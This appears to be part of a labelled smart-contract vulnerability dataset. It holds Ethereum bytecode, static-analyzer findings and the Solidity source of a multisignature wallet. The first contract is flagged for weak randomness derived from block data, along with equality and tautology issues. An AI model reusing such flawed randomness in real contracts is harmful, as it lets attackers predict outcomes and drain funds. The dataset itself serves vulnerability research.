5b600c5481565b60045481565b600a5481565b60008060008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061131b5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806113735750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561137e57600080fd5b60075489108015611390575060008910155b80156113af57506000601b60008b815260200190815260200160002054115b15156113ba57600080fd5b600588111515156113ca57600080fd5b601b60008a815260200190815260200160002054955060648887028115156113ee57fe5b04860195506009548611156114db576001600f60006101000a81548160ff0219169083151502179055507f21c1f31dd70ba9b40160c8283dfa1f8d86fc33575395fcde4e3457f9340569186006548a601a60008d815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1689600954604051808681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019550505050505060405180910390a16000965061174e565b6103e860045487028115156114ec57fe5b0494508460206000808152602001908152602001600020600082825401925050819055506103e8601854870281151561152157fe5b049350836017600082825401925050819055506103e8600554870281151561154557fe5b04925082848601019150818603905085600960008282540392505081905550828501600a600082825401925050819055507fc2ff0db60f898db29de5145be23fbf59eb8ef8110bd0d32a10059606b2e68c276006546009548b601a60008e815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168587601754604051808881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200197505050505050505060405180910390a161164b836128cb565b6000601b60008b815260200190815260200160002081905550600b5481029050601a60008a815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116e4573d6000803e3d6000fd5b50601c60008a815260200190815260200160002060009054906101000a900460ff161561174957611748601a60008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168a612a4d565b5b600196505b50505050505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118045750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061185c5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561186757600080fd5b600b548281151561187457fe5b04601754101580156118b35750600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15156118be57600080fd5b6224ea0060115442031115156118d357600080fd5b600b54828115156118e057fe5b049050806017600082825403925050819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561195a573d6000803e3d6000fd5b507fd48887bcc2a5aaef98868f8bedd50521b340a45d6e86efebd58baa6999af7b0e6006548360175460405180848152602001838152602001828152602001935050505060405180910390a15050565b601e6020528060005260406000206000915090505481565b601a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a9d5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80611af55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611b0057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600e543410158015611bac5750600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1515611bb757600080fd5b339150600b5434811515611bc757fe5b049050611bd48282612c0e565b5050565b60055481565b600080600080601d600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600b54601e60008881526020019081526020016000205402601f600088815260200190815260200160002054600b54602060008a8152602001908152602001600020540293509350935093509193509193565b601b6020528060005260406000206000915090505481565b6000806060806000806000806000975060009650600854604051908082528060200260200182016040528015611cc85781602001602082028038833980820191505090505b509550600854604051908082528060200260200182016040528015611cfc5781602001602082028038833980820191505090505b509450600a5493506006549250600091505b600854821015611e1957602060008381526020019081526020016000205490506000811415611d3c57611e0c565b600b5481029750808403935060006020600084815260200190815260200160002081905550601d600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f193505050509650808683815181101515611dda57fe5b9060200190602002018181525050868583815181101515611df757fe5b90602001906020020190151590811515815250505b8180600101925050611d0e565b7f14b3d47a87c0295a98c8ded85c2248706b54bdedbf32615f84f97c3454068859836009548888604051808581526020018481526020018060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015611e93578082015181840152602081019050611e78565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015611ed5578082015181840152602081019050611eba565b50505050905001965050505050505060405180910390a183600a819055505050505050505050565b600f60009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611fba5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806120125750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561201d57600080fd5b60003411801561205a5750600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b151561206557600080fd5b600b543481151561207257fe5b0490506000600f60006101000a81548160ff02191690831515021790555080600960008282540192505081905550806003600082825401925050819055507fff15f48523095ee9271df1297c161f0fde1b4406fbf0995e6418b94059ace83b6006548260095460405180848152602001838152602001828152602001935050505060405180910390a16121053382612c61565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806121b05750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806122085750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561221357600080fd5b6000341180156122505750600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b151561225b57600080fd5b600b543481151561226857fe5b046017600082825401925050819055507fd48887bcc2a5aaef98868f8bedd50521b340a45d6e86efebd58baa6999af7b0e6006543460175460405180848152602001838152602001828152602001935050505060405180910390a1565b6000806000806000806060600454600554601854600b54600c5402600b54600d5402600e54606060405190810160405280602981526020017f546f20676574207265616c2070657263656e746167657320646976696465207481526020017f68656d20746f2031300000000000000000000000000000000000000000000000815250965096509650965096509650965090919293949596565b601f6020528060005260406000206000915090505481565b60035481565b60095481565b600d5481565b60185481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061245c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806124b45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156124bf57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600b5460175402905090565b60008060085483108015612538575060006020600085815260200190815260200160002054115b151561254357600080fd5b600b5460206000858152602001908152602001600020540291506020600084815260200190815260200160002054600a6000828254039250508190555060006020600085815260200190815260200160002081905550601d600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505090507fc33b37f0c5204dfeac3abe6172c8d211f0942d058c8a7552fdebf8c85916248960065460095485858560405180868152602001858152602001848152602001838152602001821515151581526020019550505050505060405180910390a1505050565b6000600b54600a5402905090565b601d6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b6000600b5460095402905090565b6000601954600143034041446040516020018085815260200184600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018281526020019450505050506040516020818303038152906040526040518082805190602001908083835b602083101515612774578051825260208201915060208101905060208303925061274f565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060019004601981905550816019548115156127b857fe5b069050919050565b60008060046127cf60446126bc565b0190508060f0603c60f086018115156127e457fe5b0460020a018115156127f257fe5b066048039150612800612f80565b6128098261302b565b915060048210612819578161281c565b60045b915050919050565b60006008831415612839576103e890506128c5565b600c83141561284c5761038490506128c5565b601983141561285f5761032090506128c5565b6025831415612872576102bc90506128c5565b602a8314156128855761025890506128c5565b6033831415612898576101f490506128c5565b603f8314806128a75750604183145b806128b25750604383145b156128c15761019090506128c5565b8190505b92915050565b60006060600080600093506008546040519080825280602002602001820160405280156129075781602001602082028038833980820191505090505b509250600191505b6008548210156129a1576103e8601f600084815260200190815260200160002054860281151561293b57fe5b0490508060206000848152602001908152602001600020600082825401925050819055506020600083815260200190815260200160002054838381518110151561298157fe5b90602001906020020181815250508084019350818060010192505061290f565b83850360206000808152602001908152602001600020600082825401925050819055507f9b8b5015db6b2f620b1d9ca95023504627f3453c91d5cd3557ba1c430cee128f600654846040518083815260200180602001828103825283818151815260200191508051906020019060200280838360005b83811015612a32578082015181840152602081019050612a17565b50505050905001935050505060405180910390a15050505050565b6000606060008092506007604051908082528060200260200182016040528015612a865781602001602082028038833980820191505090505b509150612a97600143034086613094565b80935081945050507fbb618c4af24ebf37a4b34854f40bbd95ba523c8092375b37b67c85022b5af36660065485846040518084815260200183815260200180602001828103825283818151815260200191508051906020019060200280838360005b83811015612b14578082015181840152602081019050612af9565b5050505090500194505050505060405180910390a18215612c07577ff3fb0f5343e993ec9dfd5368586cce1283dca34c5447edc9c03c6d42340f2d306006548587601754604051808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390a1600b5460175402905060006017819055508473ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612c05573d6000803e3d6000fd5b505b5050505050565b8060035401600354108015612c2857508060095401600954105b1515612c3357600080fd5b8060036000828254019250508190555080600960008282540192505081905550612c5d8282612c61565b5050565b6000806000606060008094506001935060009250600160085401604051908082528060200260200182016040528015612ca95781602001602082028038833980820191505090505b509150600090505b600854811015612db0578673ffffffffffffffffffffffffffffffffffffffff16601d600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612d4b578094506000935085601e6000838152602001908152602001600020600082825401925050819055505b612d6c601e6000838152602001908152602001600020546003546003613258565b925082601f600083815260200190815260200160002081905550828282815181101515612d9557fe5b90602001906020020181815250508080600101915050612cb1565b8315612ea7576010546008541115612dc757600080fd5b612dd5866003546003613258565b9250600854945086601d600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085601e60008781526020019081526020016000208190555082601f60008781526020019081526020016000208190555060006020600087815260200190815260200160002081905550828286815181101515612e8657fe5b90602001906020020181815250506008600081548092919060010191905055505b7f8c2b229de510efab100f3041df2ed106f4f48881054faf277b558e2543e791fb600654600954878a8a87604051808781526020018681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019060200280838360005b83811015612f5f578082015181840152602081019050612f44565b5050505090500197505050505050505060405180910390a150505050505050565b60006012544203905060145481118015612f9c57506003601354105b1561302857601360008154809291906001019190505550600a601560008282540192505081905550600a601660008282540392505081905550426012819055507f15eaaf925ea566066f332c8b3fe2c51dba4b4182f213b1f4d8105e39aa9374436006548260135460405180848152602001838152602001828152602001935050505060405180910390a15b50565b600080600161303a606e6126bc565b019050600160135411801561305c5750600060098281151561305857fe5b0614155b1561308a5760165483111561307557601654915061308e565b60155483101561308957601554915061308e565b5b8291505b50919050565b6000606080600080600080600080600060076040519080825280602002602001820160405280156130d45781602001602082028038833980820191505090505b5097508b8b6130e46103e76126bc565b6040516020018084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140182815260200193505050506040516020818303038152906040526040518082805190602001908083835b6020831015156131895780518252602082019150602081019050602083039250613164565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020965060019550600094505b6007851015613243576131d460016126bc565b850193506131e28785613291565b92506131ef8360046132d6565b91508160ff1690506009811115613207578060100390505b80888681518110151561321657fe5b906020019060200201818152505060078260ff1614151561323657600095505b84806001019550506131c1565b85889950995050505050505050509250929050565b600080600060018401600a0a86029150600a6005868481151561327757fe5b040181151561328257fe5b04905080925050509392505050565b6000600882601f030260020a83600190048115156132ab57fe5b047f010000000000000000000000000000000000000000000000000000000000000002905092915050565b6000808260ff16600260ff160a60ff16847f0100000000000000000000000000000000000000000000000000000000000000900460ff1681151561331657fe5b06905080915050929150505600a165627a7a7230582000e04238be76836ef161432c0d7a61da4137a5b29dbf5227dda1bfe4a5ffe02e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
5,867
0x8cE1F0b5D253d84D47764b3dE8DB869D36f2DAa7
/** * Source Code first verified at https://etherscan.io on Friday, August 3, 2018 (UTC) */ pragma solidity ^0.5.0; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract InfinitoMultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this), "Not wallet!"); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner], "Owner is existed!"); _; } modifier ownerExists(address owner) { require(isOwner[owner], "Owner is not existed!"); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != address(0), "Transaction is not existed!"); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner], "Owner did not confirm!"); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner], "Owner has confirmed!"); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed, "Transaction is executed!"); _; } modifier notNull(address _address) { require(_address != address(0), "Address is null!"); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0, "Invalid requirement!"); _; } /// @dev Fallback function allows to deposit ether. function() external payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor(address[] memory _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0), "Invalid owner!"); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i = 0; i < owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i = 0; i < owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes memory data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes memory data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public view returns (bool) { uint count = 0; for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes memory data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public view returns (uint count) { for (uint i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public view returns (uint count) { for (uint i = 0; i < transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public view returns (address[] memory) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public view returns (uint[] memory _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i = 0; i < transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101f257806320ea8d86146102435780632f54bf6e1461027e5780633411c81c146102e7578063547415251461035a5780637065cb48146103b7578063784547a7146104085780638b51d13f1461045b5780639ace38c2146104aa578063a0e67e2b146105a3578063a8abe69a1461060f578063b5dc40c3146106c1578063b77bf60014610751578063ba51a6df1461077c578063c01a8c84146107b7578063c6427474146107f2578063d74f8edd146108f8578063dc8452cd14610923578063e20056e61461094e578063ee22610b146109bf575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101b06004803603602081101561019a57600080fd5b81019080803590602001909291905050506109fa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101fe57600080fd5b506102416004803603602081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a38565b005b34801561024f57600080fd5b5061027c6004803603602081101561026657600080fd5b8101908080359060200190929190505050610da2565b005b34801561028a57600080fd5b506102cd600480360360208110156102a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611085565b604051808215151515815260200191505060405180910390f35b3480156102f357600080fd5b506103406004803603604081101561030a57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110a5565b604051808215151515815260200191505060405180910390f35b34801561036657600080fd5b506103a16004803603604081101561037d57600080fd5b810190808035151590602001909291908035151590602001909291905050506110d4565b6040518082815260200191505060405180910390f35b3480156103c357600080fd5b50610406600480360360208110156103da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611166565b005b34801561041457600080fd5b506104416004803603602081101561042b57600080fd5b8101908080359060200190929190505050611525565b604051808215151515815260200191505060405180910390f35b34801561046757600080fd5b506104946004803603602081101561047e57600080fd5b810190808035906020019092919050505061160c565b6040518082815260200191505060405180910390f35b3480156104b657600080fd5b506104e3600480360360208110156104cd57600080fd5b81019080803590602001909291905050506116d7565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561056557808201518184015260208101905061054a565b50505050905090810190601f1680156105925780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156105af57600080fd5b506105b86117cc565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105fb5780820151818401526020810190506105e0565b505050509050019250505060405180910390f35b34801561061b57600080fd5b5061066a6004803603608081101561063257600080fd5b81019080803590602001909291908035906020019092919080351515906020019092919080351515906020019092919050505061185a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106ad578082015181840152602081019050610692565b505050509050019250505060405180910390f35b3480156106cd57600080fd5b506106fa600480360360208110156106e457600080fd5b81019080803590602001909291905050506119ca565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561073d578082015181840152602081019050610722565b505050509050019250505060405180910390f35b34801561075d57600080fd5b50610766611c06565b6040518082815260200191505060405180910390f35b34801561078857600080fd5b506107b56004803603602081101561079f57600080fd5b8101908080359060200190929190505050611c0c565b005b3480156107c357600080fd5b506107f0600480360360208110156107da57600080fd5b8101908080359060200190929190505050611d98565b005b3480156107fe57600080fd5b506108e26004803603606081101561081557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561085c57600080fd5b82018360208201111561086e57600080fd5b8035906020019184600183028401116401000000008311171561089057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506120c6565b6040518082815260200191505060405180910390f35b34801561090457600080fd5b5061090d6120e5565b6040518082815260200191505060405180910390f35b34801561092f57600080fd5b506109386120ea565b6040518082815260200191505060405180910390f35b34801561095a57600080fd5b506109bd6004803603604081101561097157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120f0565b005b3480156109cb57600080fd5b506109f8600480360360208110156109e257600080fd5b810190808035906020019092919050505061253f565b005b600381815481101515610a0957fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610adb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742077616c6c65742100000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e6572206973206e6f74206578697374656421000000000000000000000081525060200191505060405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008090505b600160038054905003811015610d23578273ffffffffffffffffffffffffffffffffffffffff16600382815481101515610c3157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d16576003600160038054905003815481101515610c8f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600382815481101515610cc957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d23565b8080600101915050610bfb565b506001600381818054905003915081610d3c9190612b1a565b506003805490506004541115610d5b57610d5a600380549050611c0c565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610e64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e6572206973206e6f74206578697374656421000000000000000000000081525060200191505060405180910390fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610f38576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4f776e657220646964206e6f7420636f6e6669726d210000000000000000000081525060200191505060405180910390fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610fd1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5472616e73616374696f6e20697320657865637574656421000000000000000081525060200191505060405180910390fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff